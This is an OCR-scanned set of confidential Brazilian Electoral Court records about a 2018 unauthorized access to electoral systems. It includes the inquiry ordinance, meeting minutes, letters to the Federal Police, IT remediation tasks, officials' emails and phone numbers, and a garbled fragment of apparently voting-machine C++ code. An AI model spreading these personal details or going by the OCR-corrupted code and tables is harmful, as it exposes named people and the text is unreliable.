informações sigilosas referentes aos processos do TSE. Antes de uma provável publicação, gostaríamos 
de compartilhar o material com vocês. 


Este seria o melhor canal? 
Obrigado 


5° Felipe Payão 
Repórter 


LEONARDO BRUCE MADUREIRA LOPES, 


reL +55 11 5083.1018 
ск. +55 11 972827444 
HTTP nzn.io 


Este documento tem o mesmo valor probante do original apresentado, 


Autenticado por Escrivao de Policia Federal, 


tw Felipe Payáo 
Repórter 


reL +55 11 5083.1018 
cg. +55 11 972827444 
HTTP nzn.io 
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Sigiloso 


SR/PF/DF 
2020.0043195 


11h20. 


i 11.419/2006. 


04/11/2020, às 


: 17933, em 


ID URNA: 20123456 T 


Munic: 01234 

IDMIE: 906754301 

S Jose do Livramento 
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Zona: 0001 d 
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// ===: 
sifndef семето ЕЛ патанае 
$define cconversortitulorelatorioiniHPP 





*include "app/dados/parametrizacaourna/ctitulorelatorio.hpp" 


&include <string> 
#1nclude «vector» 


/) forward declaration 
namespace api ( 
namespace ini ( 

class CIni; 

) 












































) 
// as ============== ====================== 
class CConversorTituloRelatorioINI ( 
public: 
std: :vector<app: :dados: :CTituloRelatorio» Converter(const std::string & nome, int qtd, 
const api::ini::CIni & properties); 
// == == ========= ==]. gT=========x==z=z======z== q ( _— шг 
void Desconverter(const std::vector<app::dados::CTituloRelatorio> 6 titulos, const std::string 6 nome, 
api::ini::CImi £ properties); 
private: 
/ | ================== == ETs ==========w======================= 
app::dados::CTituloRelatorio::EAlinhamentoTitulo ConverterAlinhamentoTitulo(int alinhamento); 
арр: :dados: ::CTituloRelatorio: :EEstiloTitulo Convertertstilolitulotint alinhamento); 
std::string DesconverterAlinhamentoTitulo(app::dados::CTituloRelatorio::EAlinhamentoTitulo alinhamento); 
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Excelentíssimo(a) Senhor(a) Juiz(a), 


з ОЬ 04/11/2020, às 
g. " 


E da Lei 11.419/2006. 


Por questões de segurança, serão utilizadas, no processo informati 
do pleito n° 229 de 28/10/2018 - RJ - Suplementar de Aperibé, senha 
personalizadas para oficializacáo dos usuários e sistemas, de modo:du 
esses se tornem aptos a receber dados oficiais. TE 


Para realizar o procedimento, o usuário autorizado seleciona o siste 


Ei 


senha correspondente, conforme tabela abaixo. 
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TRIBUNAL SUPERIOR ELEITORAL 
DESPACHO 


Senhora Presidente, 


Submeto à elevada consideração de Vossa Excelência a Informação n? 32 STI, 
cujo conteúdo foi encaminhado à Polícia Federal para investigação no dia 6 de novembro 
corrente, sugerindo que, paralelamente, os fatos ali narrados sejam apurados, 
administrativamente, por meio de sindicância. 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


do Art. 


Para tanto, apresento, para assinatura, caso acolha seus termos, minuta de 
portaria constituindo comissão de sindicância. 


MATRÍCULA: 


Respeitosamente, 








urado Fleury 


Diretor-Geral 
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TRIBUNAL SUPERIOR ELEITORAL 
Portaria TSE n? 976 de 08 de novembro de 2018. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas 
atribuições legais e regimentais, com fundamento no art. 143 da Lei 8.112, de 11 de 
dezembro de 1990, resolve: 


designar os Juízes Auxiliares do Gabinete da Presidéncia, Doutor Ricardo Fioreze 
e Doutor Fernando Pessóa da Silveira Mello, e o servidor Daniel Carlos Lima Corréa, para, 
sob a presidência do primeiro, constituírem Comissão de Sindicância, visando apurar, no 
prazo de 60 dias, os fatos tidos como possíveis irregularidades, constantes do 
Procedimento SEI nº 2018.00.000014309-3. 


dis Мі 


Mihistra ROSA WEBER 
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Márcia Lobo Paiva Rodrigues 
De: Sérgio Carlos Tres e Silva 
Enviado em: quinta-feira, 8 de novembro de 2018 16:56 
Para: Márcia Lobo Paiva Rodrigues 
Cc: Joice Ribeiro Goncalves Da Rocha 
Assunto: ENC: DJE - Aviso de Envio de Materia 


De: djeGtse.jus.br [mailto:djeOtse.jus.br] 


Enviada em: quinta-feira, 8 de novembro de 2018 16:56 
Para: Sérgio Carlos Tres e Silva 


Cc: djeGtse.jus.br 


44 
Assunto: DJE - Aviso de Envio de Materia 8 d 
(Esta é uma mensagem automática gerada pelo Diário de Justiça Eletrônico, não é necessário respondê-la.) É а 
8% 
Recibo DJ-e Nr. 94276/2018 E. 
Prezado Sr(a) SÉRGIO CARLOS TRÉS E SILVA, г = 
Acusamos o recebimento da seguinte matéria para publicação no Diário da Justiça Eletrônico: А E 
SE 
КЕ 
. Data Data E x я E 
Titulo Rena Pallicação Seção SubSeção Tipo E 
ш ш ша 08/11/18 09/11/18 Presidência [Atos da — Portariá 
Comissão de Sindicância. Presidência 
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De: Presidencia 

Enviado em: terça-feira, 13 de novembro de 2018 15:17 

Para: Ricardo Fioreze; Fernando Pessóa da Silveira Mello; Daniel Carlos Lima Corréa; 
Sérgio Carlos Tres e Silva 

Assunto: Comissão de Sindicância 

Prioridade: Alta 


Prezados Senhores, 


De ordem do Presidente da Comissão de Sindicância criada por meio da Portaria TSE 976/2018, convido todos os 
membros para a reunião inicial no dia 14/11/2018, quarta-feira, na sala de reuniões da Presidência, de 15h às 16h. 


Respeitosamente, 


11 da Lei 11.419/2006. 


Sérgio Trés 


17933, em 04/11/2020, às 11h20. 


do Art. 


Gabinete da Secretaria-Geral da Presidência 


E-mail: sergio.tres(Qtse.jus.br 
TSE Telefone: (61) 3030-7837 
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TRIBUNAL SUPERIOR ELEITORAL 
Memorando nº 125 GAB-SPR 
Senhor Secretário de Tecnologia da Informação, 


Assunto: Informação nº 32 STI. 


Comunico a Vossa Senhoria que a Portaria TSE nº 976 criou Comissão de 
Sindicância visando a apurar os fatos tidos como possíveis irregularidades, noticiados na 
Informação nº 32 STI. 


Como Presidente da Comissão, coloco-me à disposição para a troca de informações e 
documentos, em caráter reservado, por meio do e-mail ricardo .fioreze O tse.jus.br ou do telefone 
(61) 3030-2795. 


Paralelamente, solicito a gentileza de, igualmente em caráter reservado, me serem 
informadas quais outras providências foram adotadas pela Secretaria de Tecnologia da 
Informação, incluindo as conclusões já obtidas, para apuração do ocorrido e saneamento das 
fragilidades que resultaram no acesso indevido, para, assim, tornar os sistemas mais seguros (item 


7 da citada Informação). 


Atenciosamente, 


Ricardo Fioreze 
Juiz Auxiliar da Presidência 
Presidente da Comissão de Sindicância 
RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 


EB Documento assinado eletronicamente em 23/11/2018, às 15:10, conforme art. 1°, 52, Ш, 
b, da Lei 11.419/2006. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 5 19 do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


A autenticidade do documento pode ser conferida em 


> https://sei.tse.jus.br/sei/controlador externo.php? 
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TRIBUNAL SUPERIOR ELEITORAL 
Ofício nº 5979 GAB-SPR 
Brasília, 20 de novembro de 2018. 


A Sua Excelência o Senhor 

Dr. ROGÉRIO AUGUSTO VIANA GALLORO 
Diretor-Geral da Polícia Federal 

Brasília - DF 


Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 


Senhor Delegado, 


Informo a Vossa Excelência que a partir das informações constantes na Informação nº 
32 STI, enviadas ao Departamento da Polícia Federal por meio do Ofício nº 5825 GAB-SPR, foi 
criada, no âmbito do TSE, Comissão de Sindicância específica, visando a apurar os fatos tidos 


como possíveis irregularidades. 


Como Presidente da Comissão, coloco-me à disposição para a troca de informações e 
documentos, em caráter reservado, рог meio do e-mail ricardo.fioreze O tse.jus.br ou do telefone 
(61) 3030-2795. 


Paralelamente, solicito a gentileza de, igualmente em caráter reservado, serem enviados 
a mim os resultados da investigação que for promovida por esse Departamento sobre o mesmo 


assunto. 


Atenciosamente, 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Ricardo Fioreze 
Juiz Auxiliar da Presidência 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 


Documento assinado eletronicamente em 23/11/2018, às 15:11, conforme art. 1º, 82, Ш, 
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TRIBUNAL SUPERIOR ELEITORAL 


Ata GAB-SPR n^ 2/2018 
Tribunal Superior Eleitoral 
Comissão de Sindicância - Portaria TSE n? 976/2018 
Registro da 1º reunião - DOCUMENTO RESERVADO 


1. Identificação da reunião 

1.1. Data da reunião: 14/11/2018; 

1.2. Horário de início: 15h05; 

13, Horário de término: 15h25; 

1.4. Local: Sala de reuniões da Presidência do TSE; 

1.5. Relator: Sérgio Trés. 

2. Objetivo 

2.1. ]* Reunião Ordinária da Comissão de Sindicância criada para tratar da denúncia 


de acesso indevido a dados relativos a sistemas eleitorais e ao projeto de hardware da 
UE2018, conforme registrado na Informação n? 32 STI, constante no processo TSE SEI 
2018.00.000014309-3. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 


3. Participantes 
3.1. Presidente: Ricardo Fioreze - ricardo.fioreze Otse.jus.br - (61) 3030-7995 
3.2. Membro: Fernando Pessóa da Silveira Mello - fernando.mello @ tse.jus.br - 


(61) 3030-9076 


3.3. Membro: Daniel Carlos Lima Corrêa - daniel.correa O tse.jus.br - (61) 3030-7424 
4. Assuntos tratados 
4.1. O Senhor Ricardo Fioreze apresentou-se e deu início à reunião, agradecendo a 


ргезепса dos demais e informando que o objetivo principal do encontro é formalizar a 


Sigiloso 
1. 500 
instalação da Comissão de Sindicância e iniciar a apuração administrativa das, atos 
apresentados na Informação n? 32 da Secretaria de Tecnologia da Informação (511929 -0043195 
4.2. Esclareceu que o objetivo principal desta Comissão de Sindicância é a apuração 


da falha ou irregularidade cometida, considerando-se os fatos apresentados. 


4.3. Relatou ainda a designação do servidor Sérgio Trés para secretariar a Comissão e 


para realizar o necessário apoio administrativo a seus membros. 


4.4. O Senhor Ricardo Fioreze propôs seja confirmado, junto à Presidência do 
Tribunal, se houve o encaminhamento da Informação nº 32 STI à Polícia Federal e, em 
caso positivo, seja juntado o respectivo expediente ao presente processo e sejam solicitadas 
à Polícia Federal informações sobre o andamento da investigação e o envio ao Presidente 
da Comissão de Sindicância, em caráter reservado, dos elementos obtidos com a 


11 da Lei 11.419/2006. 


investigação, o que foi aprovado pela Comissão de Sindicância. 


4.5. Propôs ainda que seja dado conhecimento da instalação desta Comissão à Polícia 


17933, em 04/11/2020, às 11h20. 


do Art. 


Federal, para que se viabilize troca de informações e auxílio mútuo, sempre que necessário 
e possível, o que também foi aprovado pela Comissão. 


MATRÍCULA: 


4.6. Acrescentou que a STI, segundo se extrai do conteúdo da Informação nº 32 STI, 
está dando continuidade à investigação lá iniciada, com a finalidade de verificar o efetivo 
alcance e danos provocados pelo acesso indevido noticiado na Informação nº 32 STI, e, em 
razão disso, propôs seja solicitado àquela Secretaria o envio ao Presidente da Comissão de 
Sindicância, em caráter reservado, das demais conclusões alcançadas por aquela área em 
razão da continuidade da apuração lá desenvolvida, o que igualmente foi aprovado pela 


Comissão. 


4.7. O Senhor Daniel Carlos Lima Corrêa ressaltou que devem ser apuradas as 
condições que permitiram a ocorrência deste acesso indevido e, em especial, se a pessoa 
responsável pela ocorrência ainda está ou não com acesso a rede do TSE, para impedir que 


o novo acesso indevido possa vir a ocorrer. 


4.8. O Senhor Ricardo Fioreze relatou que: 
4.8.1. De fato, houve o relato de invasão para coleta de informações de acesso restrito; 
4.8.2. Em tendo havido este acesso indevido, a bases de dados restritas ou a outros 


sistemas ou elementos, deve-se identificar a origem desse acesso, de forma que se 


impossibilite nova ocorrência similar. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do $ 1? 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, Í : 


4.9. O Senhor Fernando Pessóa da Silveira Mello propós que, a partir das respostas 


recebidas da Polícia Federal е da STI, seja dada continuidade à investigação desta 


Comissão. 


4.10. O Senhor Daniel Carlos Lima Corrêa relatou que a STI havia descoberto 
previamente que alguns dos sistemas utilizados pelo TSE apresentavam vulnerabilidades e 
vinham sendo corrigidos ou inativados ao longo do tempo, como ocorreu recentemente 


com o sistema do “Malote Digital”. 


Sigiloso 
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4.11. Acrescentou que outra pergunta que deverá ser respondida posteriormerfie/9* /g= 
2020.0043195 
este acesso indevido foi antigo e não pode mais ocorrer pela correção do problema, ou se 


ainda há alguma vulnerabilidade passível de ser explorada de forma mal-intencionada. 


4.12. O Senhor Ricardo Fioreze agradeceu a presença de todos, encerrando a sessão, e 


informou que as próximas reuniões da Comissão serão agendadas conforme se faça 


necessário. 
5. Pendências 
5.1. Verificar se foi produzido e, em caso positivo, juntar ao processo SEI 


2018.00.000014309-3 expediente enviado ao Departamento de Polícia Federal dando 
conhecimento da Informação n? 32 STI. 


5.2. Dar conhecimento ao Departamento de Polícia Federal sobre a instalacáo de 
Comissão de Sindicância no âmbito do TSE, visando a apurar os fatos relatados na 
Informação nº 32 STI, e, paralelamente, solicitar que sejam encaminhados ao Presidente da 
Comissão, em caráter reservado, os resultados da investigação que vem sendo promovida 


por aquele Departamento sobre o mesmo assunto. 


5.3. Solicitar à STI que informe sobre outras conclusóes alcangadas рог aquela área em 


razão da continuidade da apuração lá desenvolvida envolvendo os fatos relatados па 


Informação nº 32 STI. 
6. Anexos 
6.1. Sem anexos. 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 
Ésto] Documento assinado eletronicamente em 23/11/2018, às 15:10, conforme art. 1º, $2º, III, 
b, da Lei 11.419/2006. 


DANIEL CARLOS LIMA CORRÉA 
ASSESSOR(A) II 
ED Documento assinado eletronicamente em 26/11/2018, às 15:26, conforme art. 1º, §2°, Ш, 
b, da Lei 11.419/2006. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do § 1° do Art. 11 da Lei 11.419/2006. 


FERNANDO PESSÔA DA SILVEIRA MELLO 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 
H Documento assinado eletronicamente em 12/08/2019, às 16:02, conforme art. 19, 82, Ш, b, da Lei 
11.419/2006. 
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TRIBUNAL SUPERIOR ELEITORAL 

Ofício n? 5825 GAB-SPR i 
Brasília, 06 de novembro de 2018. 52 
A Sua Exceléncia o Senhor ЗЫ 
ROGÉRIO AUGUSTO VIANA GALLORO AE. 
Diretor-Geral da Polícia Federal d : 
Brasília - DF Е Е 
Assunto: Medidas де polícia judiciária. 5 я 
Senhor Diretor-Geral, 5 5 
Tendo em vista о teor do e-mail que acompanha о E E 
presente ofício (anexo - I) bem como dos documentos e o e 
imagens nele veiculadas (mídia digital - anexo II), solicito а я | 
Vossa Excelência a adoção das medidas administrativas de $$ 
polícia judiciária pertinentes. Ë а 
Atenciosamente, А : 
„Ди WEBER š š 
Presidente 4 E 

Recebi em Ol 


ice 94 


Sigiloso 


E-mail - 0918365 SR/PF/DF 


2020.0043195 


Data de Envio: 
23/11/2018 15:22:12 


De: 
TSE/Presidéncia <presidenciaotse.jus.br> 


Para: 
dg dpf.gov.br 


Assunto: 
Ofício nº 5979 GAB-SPR. Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 


Mensagem: 
Ao Gabinete da Diretoria-Geral, 


Prezados Senhores, 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


Encaminho em anexo o Ofício nº 5979 GAB-SPR. 


do Art. 


Solicito a gentileza de ser confirmado o recebimento do documento, para juntada do comprovante no 
processo. 


MATRÍCULA 


Atenciosamente, 


Sérgio Trés 

Secretaria-Geral da Presidência 
Tribunal Superior Eleitoral 
Telefone (61) 3030-7837 


Anexos: 
Oficio 0911585.html 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 5 1? 
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2020.0043195 


Data de Envio: 
23/11/2018 15:51:18 


De: 
TSE/Presidéncia «presidencia(tse.jus.br» 


Para: 
giuseppe.janino(tse.jus.br 


Assunto: 
Memorando nº 125 GAB-SPR. Assunto: Informação nº 32 STI. 


Mensagem: 
Prezado Senhor Giuseppe, 


De ordem, encaminho em anexo o Memorando nº 125 GAB-SPR. 


11 da Lei 11.419/2006. 


Solicito a gentileza de confirmação de recebimento do documento, para ser juntada ao processo de 
sindicância. 


17933, em 04/11/2020, às 11h20. 


do Art. 


Atenciosamente, 


MATRÍCULA 


Sérgio Trés 

Secretaria-Geral da Presidência 
Tribunal Superior Eleitoral 
Telefone (61) 3030-7837 


Anexos: 
Memorando 0911528.html 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 5 1? 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, Í E 


Sigiloso 
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Thaiane de Oliveira Veras 202040043135 
De: Giuseppe Dutra Janino 
Enviado em: sexta-feira, 23 de novembro de 2018 18:41 
Para: Presidencia 
Assunto: RES: Memorando n? 125 GAB-SPR. Assunto: Informação n? 32 STI. 
Recebi do. 
At enci osament e, 
С useppe Jani no „в 
Е š 
----- Mensagem ori gi па! - - - - - š А 
De: TSE/Presi dência [ mai | t o: presi denci ад se. | us. br] Enviada em sexta-feira, 23 de т 5 
novenbro de 2018 15:51 AS 
Para: Guseppe Dutra Jani no “a 
Assunto: Memorando n? 125 GAB-SPR Assunto: Informação n? 32 SII. 5 
ч 6 
Prezado бепһог С useppe, T 
409 
Sa 


De ordem encani nho em anexo о Memorando nº 125 GAB- SPR. 


Solicito a gentileza de confirmação de recebi mento do documento, para ser juntada ao 
processo de si ndi cânci a. 


MATRÍCULA 


At enci osament e, 


Sérgio Trés 

Secretari a- Geral da Presi dénci a 
Tribunal Superi or Eleitoral 

Tel ef one (61) 3030- 7837 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 5 1? 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, Í : 
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TRIBUNAL SUPERIOR ELEITORAL 


Memorando n.? 211 — STI 
Em 26 de novembro de 2018. 


Ao Exmo. Senhor Presidente da Comissão de Sindicância 


Assunto: Resposta. Memorando nº 125 GAB-SPR 


1. Reporto-me ao Memorando nº 125 GAB-SPR para encaminhar 
documento anexo (Plano de Ação - PA2018 - Ampliação das 
Proteções de Segurança), disponível mediante o Processo SEI 
2018.00.000014939-3, contendo informações sobre as providências a 
serem adotadas por esta Secretaria de Tecnologia da Informação 
visando sanear as fragilidades que resultaram no acesso indevido. 

2. Cumpre ressaltar que o supracitado plano de ação está em 
andamento, com algumas atividades já concluídas, e outras com data 
planejada para execução. 


Respeitosamente, 





Secretário de Teéno da Informação 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 
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Tribunal Superior Eleitoral 
Metodologia de Gerenciamento de Projetos Plano de Ação - PA 


(Abertura) 
TSE 


N? Protocolo SEI: 2018.00.000014939-3 


PA2018 - Ampliação das Proteções de Segurança 


Tipo de ação: [X] Corretiva DPQ Preventiva [X] de Melhoria 


1. Identificação do plano de ação 
Unidade: STI | Ж 4 
Cliente: Ë қ Ramal: 8884 
Nome: Giuseppe Dutra Janino š ELE 
E-mail: giuseppe.janino(Otse.jus.br 
Unidade executora: STI 





` > Ramal: 8911 
Gerente do plano: Nome: Marcelo Lauriano Lucio mm ет ev 
E-mail: marcelo.lauriano(gtse.jus.br 
o Ramal: 8840 
Apoio gerencial: Nome: Wylker Silveira Barros " <-- I - 
E-mail: wylker.barros(Qtse.jus.br 
Data prevista de Data prevista de 
inicio: 07/11/2018 término 11/04/2019 





Iniciativa vinculada: Nào se aplica. 


AF. 28 — Monitorar continuamente os serviços de ТІ, a fim de realizar as intervenções 


Alinhamento РОТІ: necessárias em caso de indisponibilidade e ameaças de segurança. 


2. Histórico de revisão do documento 























Versão Data Responsável Descrição 
0.1 13/11/2018 уууіКег Silveira Barros Elaboração do documento. 
0.2 19/11/2018 Marcelo Lauriano Lucio | Revisão do documento pelo gerente do projeto. 
0.3 19/11/2018 М/уікег Silveira Barros do сый de ajustes após revisáo do gerente do 
04 20/11/2018 Аалаа Amaral rcc da Seproj e registro de considerações de 
0.5 20/11/2018 уууіКег Silveira Barros Aplicação de ajustes após revisão da Seproj. 
0.6 20/11/2018 Giuseppe Dutra Janino — Revisão do documento pelo cliente. 
0.7 20/11/2018 Wylker Silveira Barros Aplicação de ajustes após revisão do cliente. 
1.0 21/11/2018 Adriana Amaral Revisão final da Seproj para deliberação na CTTI. 


3. Cenários 


3.1 Cenário atual 


Após revisão das políticas de segurança e do inventário tecnológico relacionado a proteção de 
dados e integridade de informações do TSE, foram observadas vulnerabilidades que precisam 
ser minimizadas ou suprimidas. É cediço que o TSE possui base de informações sensíveis e 
precisa aprimorar seus mecanismos para manter esses dados e informações em sigilo, assim 
como tomar ações preventivas para manter a inviolabilidade dos sistemas que compõem o 
processo eleitoral. 


Arquivo: pa2018-ampliacaoseguranca 
Versão do modelo: 2.13 — 03/08/2018 Página 1 de 3 
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11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


do Art. 
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Tribunal Superior Eleitoral 
Metodologia de Gerenciamento de Projetos Plano de Ação - РА 
p (Abertura) 





TSE 


3.2 Cenário futuro 


Com о objetivo de responder ao diagnóstico de vulnerabilidades nos mecanismos de 
segurança da informação no âmbito da Justiça Eleitoral, serão aplicados procedimentos, 
políticas e normas de segurança consideradas fundamentais para o devido tratamento dos 
riscos com ataques externos e internos. As ações previstas nesta iniciativa contemplam desde 
o encaminhamento de recomendações aos usuários dos serviços da JE, de análise de 
viabilidade de publicação de código-fonte, de investimentos em atualização tecnológica, até a 
solicitação formal para criação de unidade de segurança de tecnologia da informação. 


4. Áreas, grupos ou entidades impactados 


11 da Lei 11.419/2006. 


LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 







Descriçao do impacto previsto 


Cliente da iniciativa, responsável pela | 
definição das diretrizes do plano de ação e 
X SEC pelo apoio formal nas medidas | gabdg(Qtse.jus.br 
recomendadas е  adotadas pelo corpo 
técnico da STI. | 





Responsável por аригаг reportar sobre | 
X Polícia Federal eventuais falhas de segurança na rede do | Não se aplica. 
TSE. | 


Cliente da iniciativa, responsável pela | giuseppe.janino@tse.jus.br 
definição das diretrizes do plano de ação. gabstifOtse.jus.br 





STI 


Líder do escritório de crise. Responsável por 
GAB-STI planejar, conduzir e monitorar as atividades 
e acóes contempladas na iniciativa. 


elmano.alvesQOtse.jus.br 
marcelo.lauriano(Qtse.jus.br 





Responsável alinhamento, ordenação e 
execução das atividades do plano de ação, 
| bem como por colaborar com аз demais 
uve š partes interessadas no fornecimento de 2 
Escritório de Crise informações. O grupo é constituído pele | Não de aplica. 
secretário de TI, coordenadores da STI e 

chefes de seção. 


O grupo não está formalizado. | 
Membro do escritório de crise. Responsável 
por apoiar a aplicação de ações 
relacionadas a elaboração de políticas e | cristiano.andradeQtse.jus.br 
normas de segurança, bem como participar coinfOtse.jus.br 
diretamente das atividades que fomentem a 
segurança do ambiente tecnológico da JE 





Coinf 








Membro do escritório de crise. Responsável | 
por apoiar а aplicação de ações 
relacionadas a elaboração de políticas e | ivanildo.gomesOtse.jus.br 
normas de segurança, bem como participar | sesap@tse jus.br 
diretamente das atividades que fomentem a 

segurança do ambiente tecnológico da JE. 


Sesap/Coinf 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 





Autenticado por Escrivao de Policia Federal, 


Membro do escritório de crise. | 

Responsável por apoiar а арісасао de | 

ações relacionadas a elaboração de políticas | marcelo.cameiro(Qtse.jus.br 

Sesop/Coinf e normas de segurança, bem сото | зезор@ізе jus.br EL 
participar diretamente das atividades que | S 
fomentem а segurança do ambiente | 
tecnológico da JE 
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Área Área, grupo ou 
externaà | entidade Descrição do impacto previsto E-mail 
STI impactados 





Membro do escritório de crise. 

Responsável por apoiar a aplicação de 

ações relacionadas a elaboração de políticas 
Seint/Csele e normas de segurança, bem como 

participar diretamente das atividades que 

fomentem а segurança do ambiente 

tecnológico da JE. 


Membro do escritório de crise. Responsável 
por apoiar a aplicação de ações 
relacionadas a elaboração de políticas e | rodrigo.coimbraútse.jus.br 
normas de segurança, bem como participar | sevin@tse.jus.br 

diretamente das atividades que fomentem a | 
segurança do ambiente tecnológico da JE. 


alberto.cavalcante(Otse.jus.br 
seintOtse.jus.br 





11 da Lei 11.419/2006. 


LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, ás 11h20. 


Sevin/Csele 





Membro do escritório de crise. Responsável 

pelo acompanhamento do projeto, prestação 

de suporte metodológico no que se refere ás | ladjane.arrudaQtse.jus.br 
atividades de gerenciamento de projeto, | seprojitse.jus.br 
consolidação e reporte das informações do 

projeto à alta gestão da STI. 


* Áreas externas devem ser sinalizadas com "x" na coluna 'Área externa à STI'. 


Seproj/COGTI 


5. Critérios para verificação da eficácia 


e As ações previstas nesta iniciativa possuem, cada uma delas, critérios individuais de 
verificação e serão avaliados após sua conclusão. 


6. Premissas/Restrições 


e Premissas: 
o Disponibilidades das áreas envolvidas na execução das suas ações e na participação 
das discussões e decisões do escritório de crise. 
o Disponibilidade da equipe da GAB-STI na condução dos trabalhos e na integração das 
partes interessadas; 
o Disponibilidade da equipe da Seproj no apoio metodológico aplicado a gestão da 
iniciativa; 
e Restrições: 
o As ações previstas na iniciativa devem estar concluídas até março de 2019. 


7. Ações a serem implementadas 
Vide anexo |: Cronograma do plano de ação extraído da ferramenta corporativa EPM. 


8. Riscos do plano de ação 
Vide anexo ІІ: Relatório de Riscos do Plano de Ação, extraído da ferramenta corporativa EPM. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 


Autenticado por Escrivao de Policia Federal, 


9. Aprovação do documento 


sei! A Secretaria de Tecnologia da Informação — STI utilizou o Sistema Eletrônico de 
Informações — SEI para assinatura e aprovação deste documento. 
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Nome da tarefa — . Semáfon % e Inicio . Término ^ © 
Atraso " concluída AMEN sog 
0 0  - PA2018 - Ampliação das Proteções de Segurança э 16% 101 dias Qua 07/11/18 Seg 15/04/19 Е i 
1 - Gerenciamento da iniciativa 9 33% Seg 15/04/19 B 
Z 44 + Iniciação: Planejamento | 77/0. Qui 08414486 Qua 21/11/18 ES 
o 12 * Reportar Desempenho da Iniciativa ë 14% 45 dias Ter 13/11/1148 Seg 11/02/19 тї 
13 * Encerramento о 0% 7 dias Sex 05/04/19 Seg 15/04/19 ES 
2 - Executar Plano de Ação @ 15% 94dias | Qua07/4148 Qui 04/04/19 E u 
21 - Ações de Curto Prazo Q9 93% 14 dias Qua074148 Тег27/4148 Ë q 
“ 244 Desligamento dos serviços do servidor de build Y 100% 1 día Оша 07/11/18 Qua07/11/18 SEVIN ES 
B^ 1212 Desligamento dos equipamentos do ambiente de apresentação dos códigos-fonte Y 100% 1 dia Оша 07/11/18 Qua07/1118 ^ ASAG-DSEVN 3 Г. 
Y 213 Bloqueio des contas da SEVIN nos equipamentos servidores APP UF dos tribunais regionais eleitorais y 100% 1 dia Qua 07/11/18 Qua 07/11/18 SESOP E. < 
v 214 Relatório preliminar para а Policia Federal v 100% 1 dia Qua 07/11/18 Qua 07/11/18 sr ^ 8 
41 215 Reunião preliminar com a Polícia Federal “ 100% 1 dia Qua07/118 Оша 071108 — STI 3 E 
42 y 216 Estabelecer о escritório de crise com reuniões diárias Y 100% 4 dias Qua07/11/18 ^ Seg12/11/18 E E 
43 ./ 217 Elaborar reistório complementar para 3 Policia Federal Y 100% 0 dias Seg 12/11/18 Seg 127148 ЗТ! 2 8 
4 / 218 Elaborar lista ordenada do nivel de vulnerabilidade das aplicações do TSE As de maior severidade | ./ 100% 1 dia Seg 12/11/18 Seg12/11/18 — SESAP 4 9 
serão encaminhadas à administração do TSE сот recomendação de desativação 8 < 
45 E 219 Trocar senhas de rede de todos os usuários Q 95% 11 días Seg 121118 Ter27/11/18 SESOP li 
48 y 2110 Desabiltar VPNs, exceto das embaixadas v 100% 1 dia Ter 13/11/18 Ter 1311/18 SESOP а Б 
47 08 211 Planejar uma nova lacração 9 99% 9 dias Seg 12/11/18  Sex2W1N18 — CSELE/ASAG-TI г g 
48 y 2112 Avaliar o risco sobre o vazamento do GEDAI-UE v 100% 4 dias Seg 12/1118 Sex 16/11/18 СЕЕ ЕЕ: 
49 y 2113 Мареаг os compartihamentos de pastas locais Y 100% 5 días Seg 12/1148 Seg 1911/18 | CONF P 
50 y 211 Notificar os usuários e acompanhar os riscos da utilização de pastas compartilhadas v 100% 4 dias Seg 12/11/18 Sex 16/11/18 SESOP E 9 
51 Y 2115 Verificar os equipamentos que estão com o antivirus desabilitado v 100% 2 dias Seg 12/1118 Тег 13/11/18 CONF 2 E 
52 y 2116 Elaborar estudo de visbilitade: Divulgação do código da urna e do GEDAI т”, 100% 4 dias Seg 121118 Sex 16/11/18 SEVIN b 
$3 Y 2117 Notificar os usuários e chefes de seção sobre os equipamentos com antivirus desabiltado quanto aos Y 100% 5 dias Seg 12/1118  Seg19/11/18 — SESAP Ë É; 
riscos para a Instituição ы 5 
